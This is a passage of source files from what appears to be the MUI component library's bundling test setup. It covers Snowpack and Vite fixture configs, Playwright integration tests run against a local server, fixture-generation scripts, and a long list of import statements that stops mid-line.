    "content": "{\n  \"name\": \"snowpack\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js snowpack\",\n    \"start\": \"pnpm snowpack build && concurrently --success first --kill-others \\\"pnpm server\\\" \\\"node testSnowpackIntegration\\\"\",\n    \"server\": \"serve -p 5001 -s build\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"snowpack\": \"3.8.8\",\n    \"react\": \"18.2.0\",\n    \"react-dom\": \"18.2.0\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"@playwright/test\": \"1.54.1\",\n    \"serve\": \"14.2.4\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/snowpack/public/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <meta name=\"description\" content=\"Starter Snowpack App\" />\n    <title>Starter Snowpack App</title>\n    <script type=\"module\" src=\"/build/snowpack.fixture.js\"></script>\n  </head>\n  <body>\n    <noscript>Needs JavaScript to test fixture</noscript>\n  </body>\n</html>\n"
  },
  {
    "path": "test/bundling/fixtures/snowpack/snowpack.config.js",
    "content": "/** @type {import(\"snowpack\").SnowpackUserConfig } */\nmodule.exports = {\n  mount: {\n    public: { url: '/', static: true },\n    src: { url: '/build' },\n  },\n};\n"
  },
  {
    "path": "test/bundling/fixtures/snowpack/snowpack.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n"
  },
  {
    "path": "test/bundling/fixtures/snowpack/testSnowpackIntegration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    // Unclear why snowpack bundles the development build of react-dom\n    // Unable to reproduce this locally\n    const isReactDevtoolsMessage =\n      consoleMessage.type() === 'info' &&\n      consoleMessage\n        .text()\n        .includes('Download the React DevTools for a better development experience:');\n\n    if (!isReactDevtoolsMessage) {\n      throw new Error(\n        `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n      );\n    }\n  });\n  await attemptGoto(page, 'http://localhost:5001/');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/vite/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Vite App</title>\n  </head>\n  <body>\n    <script type=\"module\" src=\"/vite.fixture.js\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "test/bundling/fixtures/vite/package.json",
    "content": "{\n  \"name\": \"vite\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js vite\",\n    \"start\": \"pnpm vite build && concurrently --success first --kill-others \\\"pnpm server\\\" \\\"node testViteIntegration\\\"\",\n    \"server\": \"serve -p 5001 -s build\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"react\": \"18.2.0\",\n    \"react-dom\": \"18.2.0\",\n    \"react-is\": \"18.2.0\",\n    \"vite\": \"5.4.21\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"@playwright/test\": \"1.54.1\",\n    \"serve\": \"14.2.4\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/vite/testViteIntegration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    throw new Error(\n      `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n    );\n  });\n  await attemptGoto(page, 'http://localhost:5001/');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/vite/vite.config.js",
    "content": "/**\n * @type {import('vite').UserConfig}\n */\nconst config = {\n  mode: 'production',\n  build: {\n    outDir: 'build',\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "test/bundling/fixtures/vite/vite.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n"
  },
  {
    "path": "test/bundling/scripts/createFixture.js",
    "content": "import { promises as fs } from 'fs';\nimport { URL } from 'url';\nimport * as process from 'process';\n\n/**\n * @typedef {object} FixtureContext\n * @property {URL} fixtureUrl\n * @property {object} fixtureTemplateValues\n */\n\n/**\n * @param {URL} destinationUrl\n * @param {string} templateSource\n * @param {Record<string, string>} templateValues\n */\nasync function writeFromTemplate(destinationUrl, templateSource, templateValues) {\n  const source = Object.entries(templateValues).reduce((partialCode, [name, value]) => {\n    return partialCode.replace(`{{{${name}}}}`, value);\n  }, templateSource);\n  await fs.writeFile(destinationUrl, source);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeNodeESMFixture(context) {\n  const { fixtureUrl, fixtureTemplateValues } = context;\n  const destinationPath = new URL('./node-esm.fixture.js', fixtureUrl);\n  const templateSource = await fs.readFile(new URL('node-esm.template', fixtureUrl), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationPath, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeNodeCJSFixture(context) {\n  const { fixtureUrl, fixtureTemplateValues } = context;\n  const destinationPath = new URL('./node-cjs.fixture.js', fixtureUrl);\n  const templateSource = await fs.readFile(new URL('node-cjs.template', fixtureUrl), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationPath, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeNextWebpackFixture(context) {\n  const { fixtureUrl, fixtureTemplateValues } = context;\n  const destinationUrl = new URL('./pages/next-webpack.fixture.js', fixtureUrl);\n  const templateSource = await fs.readFile(new URL('./next-webpack.template', fixtureUrl), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationUrl, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeSnowpackFixture(context) {\n  const { fixtureUrl, fixtureTemplateValues } = context;\n  const destinationUrl = new URL('./src/snowpack.fixture.js', fixtureUrl);\n  await fs.mkdir(new URL('.', destinationUrl), { recursive: true });\n  const templateSource = await fs.readFile(new URL('snowpack.template', fixtureUrl), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationUrl, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeViteFixture(context) {\n  const { fixtureUrl: fixturePath, fixtureTemplateValues } = context;\n  const destinationPath = new URL('./vite.fixture.js', fixturePath);\n  const templateSource = await fs.readFile(new URL('vite.template', fixturePath), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationPath, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeEsbuildFixture(context) {\n  const { fixtureUrl, fixtureTemplateValues } = context;\n  const destinationPath = new URL('./esbuild.fixture.js', fixtureUrl);\n  const templateSource = await fs.readFile(new URL('esbuild.template', fixtureUrl), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationPath, templateSource, fixtureTemplateValues);\n}\n\n/**\n * @param {FixtureContext} context\n */\nasync function writeGatsbyFixture(context) {\n  const { fixtureUrl: fixturePath, fixtureTemplateValues } = context;\n  const destinationPath = new URL('./src/pages/gatsby.fixture.js', fixturePath);\n  const templateSource = await fs.readFile(new URL('gatsby.template', fixturePath), {\n    encoding: 'utf8',\n  });\n\n  await writeFromTemplate(destinationPath, templateSource, fixtureTemplateValues);\n}\n\nasync function readFixtureTemplateValues(fileUrl) {\n  const code = await fs.readFile(fileUrl, { encoding: 'utf8' });\n\n  const importsMatch = code.match(/\\/\\/ #region imports(.+?)\\/\\/ #endregion/s);\n  const [imports] = importsMatch;\n\n  const lines = imports.split(/\\n+/).filter((line) => {\n    const trimmed = line.trim();\n    return trimmed && !trimmed.startsWith('//') && !trimmed.startsWith('/*');\n  });\n  const requires = lines\n    .map((line) => {\n      const [, specifier, module] = /import (.*) from ['\"](.*)['\"]/.exec(line);\n      if (specifier.startsWith('*')) {\n        return `const ${specifier.replace('* as ', '')} = require('${module}')`;\n      }\n      if (specifier.startsWith('{')) {\n        return `const ${specifier.replace(' as ', ': ')} = require('${module}')`;\n      }\n      return `const { default: ${specifier} } = require('${module}')`;\n    })\n    .join('\\n');\n\n  const usageMatch = code.match(/\\/\\/ #region usage(.+?)\\/\\/ #endregion/s);\n  const [usage] = usageMatch;\n\n  return { imports, usage, requires };\n}\n\nfunction resolveFixtureUrl(fixtureName) {\n  return new URL(`../fixtures/${fixtureName}/`, import.meta.url);\n}\n\n/**\n * @param {object} context\n * @param {string} context.fixture\n */\nasync function run(context) {\n  const { fixture } = context;\n\n  if (fixture === undefined) {\n    throw new Error(`Usage: ${process.argv[1]} <fixture>`);\n  }\n\n  const fixtureTemplateValues = await readFixtureTemplateValues(\n    new URL('./fixtureTemplateValues.js', import.meta.url),\n  );\n\n  switch (fixture) {\n    case 'node-cjs':\n      await writeNodeCJSFixture({\n        fixtureUrl: resolveFixtureUrl('node-cjs'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'node-esm':\n      await writeNodeESMFixture({\n        fixtureUrl: resolveFixtureUrl('node-esm'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'next-webpack4':\n      await writeNextWebpackFixture({\n        fixtureUrl: resolveFixtureUrl('next-webpack4'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'next-webpack5':\n      await writeNextWebpackFixture({\n        fixtureUrl: resolveFixtureUrl('next-webpack5'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'snowpack':\n      await writeSnowpackFixture({\n        fixtureUrl: resolveFixtureUrl('snowpack'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'vite':\n      await writeViteFixture({\n        fixtureUrl: resolveFixtureUrl('vite'),\n        fixtureTemplateValues,\n      });\n      break;\n    case 'esbuild':\n      await writeEsbuildFixture({\n        fixtureUrl: resolveFixtureUrl('esbuild'),\n        fixtureTemplateValues,\n      });\n      break;\n    // TODO remove, no longer relevant since https://github.com/mui/material-ui/pull/38567\n    case 'gatsby':\n      await writeGatsbyFixture({\n        fixtureUrl: resolveFixtureUrl('gatsby'),\n        fixtureTemplateValues,\n      });\n      break;\n    default:\n      throw new TypeError(`Can't handle fixture '${fixture}'`);\n  }\n}\n\nrun({ fixture: process.argv[2] }).catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/scripts/createTemplate.js",
    "content": "import * as process from 'process';\nimport packages from './packages.js';\n\nfunction isComponent(identifier) {\n  // Components start with Uppercase letter.\n  return /^[A-Z]/.test(identifier);\n}\n\nfunction isNamespace(identifier) {\n  return ['colors', 'styles', 'utils'].includes(identifier);\n}\n\nfunction getMuiLocal(imported, source) {\n  return `${imported}_${source.split('/')[1]}`;\n}\n\n/**\n * @param {object} context\n * @param {boolean} context.asNamedImport\n * @param {string} context.local\n * @param {string} context.imported\n * @param {string} context.source\n */\nfunction createImport(context) {\n  const { specifier, imported, local = imported, source } = context;\n\n  if (specifier === 'named') {\n    return `import { ${imported} as ${local} } from '${source}';`;\n  }\n  if (specifier === 'namespace') {\n    return `import * as ${local} from '${source}';`;\n  }\n  return `import ${local} from '${source}';`;\n}\n\n/**\n * @param {NodeJS.WritableStream} outStream\n */\nfunction writeImports(outStream) {\n  outStream.write(\n    `${createImport({\n      local: 'ReactIs',\n      modules: false,\n      source: 'react-is',\n      specifier: 'namespace',\n    })}\\n`,\n  );\n  outStream.write('// #region imports\\n');\n  outStream.write('/* eslint-disable import/no-duplicates */\\n');\n  Object.entries(packages).forEach(([packageName, topLevelPackages]) => {\n    topLevelPackages.forEach((topLevelPackageName) => {\n      if (isNamespace(topLevelPackageName)) {\n        outStream.write(\n          `${createImport({\n            specifier: 'namespace',\n            local: `${getMuiLocal(topLevelPackageName, packageName)}__pathImport`,\n            imported: topLevelPackageName,\n            source: `${packageName}/${topLevelPackageName}`,\n          })}\\n`,\n        );\n      } else {\n        outStream.write(\n          `${createImport({\n            specifier: 'named',\n            local: getMuiLocal(topLevelPackageName, packageName),\n            imported: topLevelPackageName,\n            source: packageName,\n          })}\\n`,\n        );\n        outStream.write(\n          `${createImport({\n            specifier: 'default',\n            local: `${getMuiLocal(topLevelPackageName, packageName)}__pathImport`,\n            source: `${packageName}/${topLevelPackageName}`,\n          })}\\n`,\n        );\n      }\n    });\n  });\n  outStream.write('/* eslint-enable import/no-duplicates */\\n');\n  outStream.write('// #endregion\\n');\n}\n\nfunction getComponentValidator(localIdentifier) {\n  return `ReactIs.isValidElementType(${localIdentifier})`;\n}\n\nfunction getNamespaceValidator(localIdentifier) {\n  return `${localIdentifier} !== null && typeof ${localIdentifier} === 'object'`;\n}\n\nfunction getUnknownValidator(localIdentifier) {\n  return `${localIdentifier} !== undefined`;\n}\n\n/**\n * @param {NodeJS.WritableStream} outStream\n */\nfunction writeUsage(outStream) {\n  outStream.write('\\n// #region usage\\n');\n  outStream.write('\\n/* eslint-disable no-console */');\n  Object.entries(packages).forEach(([packageName, topLevelPackages]) => {\n    topLevelPackages.forEach((topLevelPackageName) => {\n      let getValidator = getUnknownValidator;\n      if (isNamespace(topLevelPackageName)) {\n        getValidator = getNamespaceValidator;\n      } else if (isComponent(topLevelPackageName)) {\n        getValidator = getComponentValidator;\n      }\n      if (!isNamespace(topLevelPackageName)) {\n        outStream.write(\n          `console.assert(${getValidator(\n            getMuiLocal(topLevelPackageName, packageName),\n          )}, '${topLevelPackageName} named import is not consumable.');\\n`,\n        );\n      }\n      outStream.write(\n        `console.assert(${getValidator(\n          `${getMuiLocal(topLevelPackageName, packageName)}__pathImport`,\n        )}, '${topLevelPackageName} path import is not consumable.');\\n`,\n      );\n    });\n  });\n  outStream.write('/* eslint-enable no-console */\\n');\n  outStream.write('// #endregion\\n');\n}\n\nasync function main() {\n  const outStream = process.stdout;\n\n  writeImports(outStream);\n  writeUsage(outStream);\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/scripts/fixtureTemplateValues.js",
    "content": "// #region imports\nimport * as ReactIs from 'react-is';\n/* eslint-disable import/no-duplicates */\nimport { Accordion as Accordion_core } from '@mui/material';\nimport Accordion_core__pathImport from '@mui/material/Accordion';\nimport { AccordionActions as AccordionActions_core } from '@mui/material';\nimport AccordionActions_core__pathImport from '@mui/material/AccordionActions';\nimport { AccordionDetails as AccordionDetails_core } from '@mui/material';\nimport AccordionDetails_core__pathImport from '@mui/material/AccordionDetails';\nimport { AccordionSummary as AccordionSummary_core } from '@mui/material';\nimport AccordionSummary_core__pathImport from '@mui/material/AccordionSummary';\nimport { Alert as Alert_core } from '@mui/material';\nimport Alert_core__pathImport from '@mui/material/Alert';\nimport { AlertTitle as AlertTitle_core } from '@mui/material';\nimport AlertTitle_core__pathImport from '@mui/material/AlertTitle';\nimport { AppBar as AppBar_core } from '@mui/material';\nimport AppBar_core__pathImport from '@mui/material/AppBar';\nimport { Autocomplete as Autocomplete_core } from '@mui/material';\nimport Autocomplete_core__pathImport from '@mui/material/Autocomplete';\nimport { Avatar as Avatar_core } from '@mui/material';\nimport Avatar_core__pathImport from '@mui/material/Avatar';\nimport { Backdrop as Backdrop_core } from '@mui/material';\nimport Backdrop_core__pathImport from '@mui/material/Backdrop';\nimport { Badge as Badge_core } from '@mui/material';\nimport Badge_core__pathImport from '@mui/material/Badge';\nimport { BottomNavigation as BottomNavigation_core } from '@mui/material';\nimport BottomNavigation_core__pathImport from '@mui/material/BottomNavigation';\nimport { BottomNavigationAction as BottomNavigationAction_core } from '@mui/material';\nimport BottomNavigationAction_core__pathImport from '@mui/material/BottomNavigationAction';\nimport { Box as Box_core } from '@mui/material';\nimport Box_core__pathImport from '@mui/material/Box';\nimport { Breadcrumbs as Breadcrumbs_core } from '@mui/material';\nimport Breadcrumbs_core__pathImport from '@mui/material/Breadcrumbs';\nimport { Button as Button_core } from '@mui/material';\nimport Button_core__pathImport from '@mui/material/Button';\nimport { ButtonBase as ButtonBase_core } from '@mui/material';\nimport ButtonBase_core__pathImport from '@mui/material/ButtonBase';\nimport { ButtonGroup as ButtonGroup_core } from '@mui/material';\nimport ButtonGroup_core__pathImport from '@mui/material/ButtonGroup';\nimport { Card as Card_core } from '@mui/material';\nimport Card_core__pathImport from '@mui/material/Card';\nimport { CardActionArea as CardActionArea_core } from '@mui/material';\nimport CardActionArea_core__pathImport from '@mui/material/CardActionArea';\nimport { CardActions as CardActions_core } from '@mui/material';\nimport CardActions_core__pathImport from '@mui/material/CardActions';\nimport { CardContent as CardContent_core } from '@mui/material';\nimport CardContent_core__pathImport from '@mui/material/CardContent';\nimport { CardHeader as CardHeader_core } from '@mui/material';\nimport CardHeader_core__pathImport from '@mui/material/CardHeader';\nimport { CardMedia as CardMedia_core } from '@mui/material';\nimport CardMedia_core__pathImport from '@mui/material/CardMedia';\nimport { Checkbox as Checkbox_core } from '@mui/material';\nimport Checkbox_core__pathImport from '@mui/material/Checkbox';\nimport { Chip as Chip_core } from '@mui/material';\nimport Chip_core__pathImport from '@mui/material/Chip';\nimport { CircularProgress as CircularProgress_core } from '@mui/material';\nimport CircularProgress_core__pathImport from '@mui/material/CircularProgress';\nimport { ClickAwayListener as ClickAwayListener_core } from '@mui/material';\nimport ClickAwayListener_core__pathImport from '@mui/material/ClickAwayListener';\nimport { Collapse as Collapse_core } from '@mui/material';\nimport Collapse_core__pathImport from '@mui/material/Collapse';\nimport * as colors_core__pathImport from '@mui/material/colors';\nimport { Container as Container_core } from '@mui/material';\nimport Container_core__pathImport from '@mui/material/Container';\nimport { CssBaseline as CssBaseline_core } from '@mui/material';\nimport CssBaseline_core__pathImport from '@mui/material/CssBaseline';\nimport { Dialog as Dialog_core } from '@mui/material';\nimport Dialog_core__pathImport from '@mui/material/Dialog';\nimport { DialogActions as DialogActions_core } from '@mui/material';\nimport DialogActions_core__pathImport from '@mui/material/DialogActions';\nimport { DialogContent as DialogContent_core } from '@mui/material';\nimport DialogContent_core__pathImport from '@mui/material/DialogContent';\nimport { DialogContentText as DialogContentText_core } from '@mui/material';\nimport DialogContentText_core__pathImport from '@mui/material/DialogContentText';\nimport { DialogTitle as DialogTitle_core } from '@mui/material';\nimport DialogTitle_core__pathImport from '@mui/material/DialogTitle';\nimport { Divider as Divider_core } from '@mui/material';\nimport Divider_core__pathImport from '@mui/material/Divider';\nimport { Drawer as Drawer_core } from '@mui/material';\nimport Drawer_core__pathImport from '@mui/material/Drawer';\nimport { Fab as Fab_core } from '@mui/material';\nimport Fab_core__pathImport from '@mui/material/Fab';\nimport { Fade as Fade_core } from '@mui/material';\nimport Fade_core__pathImport from '@mui/material/Fade';\nimport { FilledInput as FilledInput_core } from '@mui/material';\nimport FilledInput_core__pathImport from '@mui/material/FilledInput';\nimport { FormControl as FormControl_core } from '@mui/material';\nimport FormControl_core__pathImport from '@mui/material/FormControl';\nimport { FormControlLabel as FormControlLabel_core } from '@mui/material';\nimport FormControlLabel_core__pathImport from '@mui/material/FormControlLabel';\nimport { FormGroup as FormGroup_core } from '@mui/material';\nimport FormGroup_core__pathImport from '@mui/material/FormGroup';\nimport { FormHelperText as FormHelperText_core } from '@mui/material';\nimport FormHelperText_core__pathImport from '@mui/material/FormHelperText';\nimport { FormLabel as FormLabel_core } from '@mui/material';\nimport FormLabel_core__pathImport from '@mui/material/FormLabel';\nimport { Grow as Grow_core } from '@mui/material';\nimport Grow_core__pathImport from '@mui/material/Grow';\nimport { Icon as Icon_core } from '@mui/material';\nimport Icon_core__pathImport from '@mui/material/Icon';\nimport { IconButton as IconButton_core } from '@mui/material';\nimport IconButton_core__pathImport from '@mui/material/IconButton';\nimport { ImageList as ImageList_core } from '@mui/material';\nimport ImageList_core__pathImport from '@mui/material/ImageList';\nimport { ImageListItem as ImageListItem_core } from '@mui/material';\nimport ImageListItem_core__pathImport from '@mui/material/ImageListItem';\nimport { ImageListItemBar as ImageListItemBar_core } from '@mui/material';\nimport ImageListItemBar_core__pathImport from '@mui/material/ImageListItemBar';\nimport { Input as Input_core } from '@mui/material';\nimport Input_core__pathImport from '@mui/material/Input';\nimport { InputAdornment as InputAdornment_core } from '@mui/material';\nimport InputAdornment_core__pathImport from '@mui/material/InputAdornment';\nimport { InputBase as InputBase_core } from '@mui/material';\nimport InputBase_core__pathImport from '@mui/material/InputBase';\nimport { InputLabel as InputLabel_core } from '@mui/material';\nimport InputLabel_core__pathImport from '@mui/material/InputLabel';\nimport { LinearProgress as LinearProgress_core } from '@mui/material';\nimport LinearProgress_core__pathImport from '@mui/material/LinearProgress';\nimport { Link as Link_core } from '@mui/material';\nimport Link_core__pathImport from '@mui/material/Link';\nimport { List as List_core } from '@mui/material';\nimport List_core__pathImport from '@mui/material/List';\nimport { ListItem as ListItem_core } from '@mui/material';\nimport ListItem_core__pathImport from '@mui/material/ListItem';\nimport { ListItemAvatar as ListItemAvatar_core } from '@mui/material';\nimport ListItemAvatar_core__pathImport from '@mui/material/ListItemAvatar';\nimport { ListItemIcon as ListItemIcon_core } from '@mui/material';\nimport ListItemIcon_core__pathImport from '@mui/material/ListItemIcon';\nimport { ListItemSecondaryAction as ListItemSecondaryAction_core } from '@mui/material';\nimport ListItemSecondaryAction_core__pathImport from '@mui/material/ListItemSecondaryAction';\nimport { ListItemText as ListItemText_core } from '@mui/material';\nimport ListItemText_core__pathImport from '@mui/material/ListItemText';\nimport { ListSubheader as ListSubheader_core } from '@mui/material';\nimport ListSubheader_core__pathImport from '@mui/material/ListSubheader';\nimport { Menu as Menu_core } from '@mui/material';\nimport Menu_core__pathImport from '@mui/material/Menu';\nimport { MenuItem as MenuItem_core } from '@mui/material';\nimport MenuItem_core__pathImport from '@mui/material/MenuItem';\nimport { MenuList as MenuList_core } from '@mui/material';\nimport MenuList_core__pathImport from '@mui/material/MenuList';\nimport { MobileStepper as MobileStepper_core } from '@mui/material';\nimport MobileStepper_core__pathImport from '@mui/material/MobileStepper';\nimport { Modal as Modal_core } from '@mui/material';\nimport Modal_core__pathImport from '@mui/material/Modal';\nimport { NativeSelect as NativeSelect_core } from '@mui/material';\nimport NativeSelect_core__pathImport from '@mui/material/NativeSelect';\nimport { NoSsr as NoSsr_core } from '@mui/material';\nimport NoSsr_core__pathImport from '@mui/material/NoSsr';\nimport { OutlinedInput as OutlinedInput_core } from '@mui/material';\nimport OutlinedInput_core__pathImport from '@mui/material/OutlinedInput';\nimport { Pagination as Pagination_core } from '@mui/material';\nimport Pagination_core__pathImport from '@mui/material/Pagination';\nimport { PaginationItem as PaginationItem_core } from '@mui/material';\nimport PaginationItem_core__pathImport from '@mui/material/PaginationItem';\nimport { Paper as Paper_core } from '@mui/material';\nimport Paper_core__pathImport from '@mui/material/Paper';\nimport { Popover as Popover_core } from '@mui/material';\nimport Popover_core__pathImport from '@mui/material/Popover';\nimport { Popper as Popper_core } from '@mui/material';\nimport Popper_core__pathImport from '@mui/material/Popper';\nimport { Portal as Portal_core } from '@mui/material';\nimport Portal_core__pathImport from '@mui/material/Portal';\nimport { Radio as Radio_core } from '@mui/material';\nimport Radio_core__pathImport from '@mui/material/Radio';\nimport { RadioGroup as RadioGroup_core } from '@mui/material';\nimport RadioGroup_core__pathImport from '@mui/material/RadioGroup';\nimport { Rating as Rating_core } from '@mui/material';\nimport Rating_core__pathImport from '@mui/material/Rating';\nimport { ScopedCssBaseline as ScopedCssBaseline_core } from '@mui/material';\nimport ScopedCssBaseline_core__pathImport from '@mui/material/ScopedCssBaseline';\nimport { Select as Select_core } from '@mui/material';\nimport Select_core__pathImport from '@mui/material/Select';\nimport { Skeleton as Skeleton_core } from '@mui/material';\nimport Skeleton_core__pathImport from '@mui/material/Skeleton';\nimport { Slide as Slide_core } from '@mui/material';\nimport Slide_core__pathImport from '@mui/material/Slide';\nimport { Slider as Slider_core } from '@mui/material';\nimport Slider_core__pathImport from '@mui/material/Slider';\nimport { Snackbar as Snackbar_core } from '@mui/material';\nimport Snackbar_core__pathImport from '@mui/material/Snackbar';\nimport { SnackbarContent as SnackbarContent_core } from '@mui/material';\nimport SnackbarContent_core__pathImport from '@mui/material/SnackbarContent';\nimport { SpeedDial as SpeedDial_core } from '@mui/material';\nimport SpeedDial_core__pathImport from '@mui/material/SpeedDial';\nimport { SpeedDialAction as SpeedDialAction_core } from '@mui/material';\nimport SpeedDialAction_core__pathImport from '@mui/material/SpeedDialAction';\nimport { SpeedDialIcon as SpeedDialIcon_core } from '@mui/material';\nimport SpeedDialIcon_core__pathImport from '@mui/material/SpeedDialIcon';\nimport { Step as Step_core } from '@mui/material';\nimport Step_core__pathImport from '@mui/material/Step';\nimport { StepButton as StepButton_core } from '@mui/material';\nimport StepButton_core__pathImport from '@mui/material/StepButton';\nimport { StepConnector as StepConnector_core } from '@mui/material';\nimport StepConnector_core__pathImport from '@mui/material/StepConnector';\nimport { StepContent as StepContent_core } from '@mui/material';\nimport StepContent_core__pathImport from '@mui/material/StepContent';\nimport { StepIcon as StepIcon_core } from '@mui/material';\nimport StepIcon_core__pathImport from '@mui/material/StepIcon';\nimport { StepLabel as StepLabel_core } from '@mui/material';\nimport StepLabel_core__pathImport from '@mui/material/StepLabel';\nimport { Stepper as Stepper_core } from '@mui/material';\nimport Stepper_core__pathImport from '@mui/material/Stepper';\nimport * as styles_core__pathImport from '@mui/material/styles';\nimport { SvgIcon as SvgIcon_core } from '@mui/material';\nimport SvgIcon_core__pathImport from '@mui/material/SvgIcon';\nimport { SwipeableDrawer as SwipeableDrawer_core } from '@mui/material';\nimport SwipeableDrawer_core__pathImport from '@mui/material/SwipeableDrawer';\nimport { Switch as Switch_core } from '@mui/material';\nimport Switch_core__pathImport from '@mui/material/Switch';\nimport { Tab as Tab_core } from '@mui/material';\nimport Tab_core__pathImport from '@mui/material/Tab';\nimport { Table as Table_core } from '@mui/material';\nimport Table_core__pathImport from '@mui/material/Table';\nimport { TableBody as TableBody_core } from '@mui/material';\nimport TableBody_core__pathImport from '@mui/material/TableBody';\nimport { TableCell as TableCell_core } from 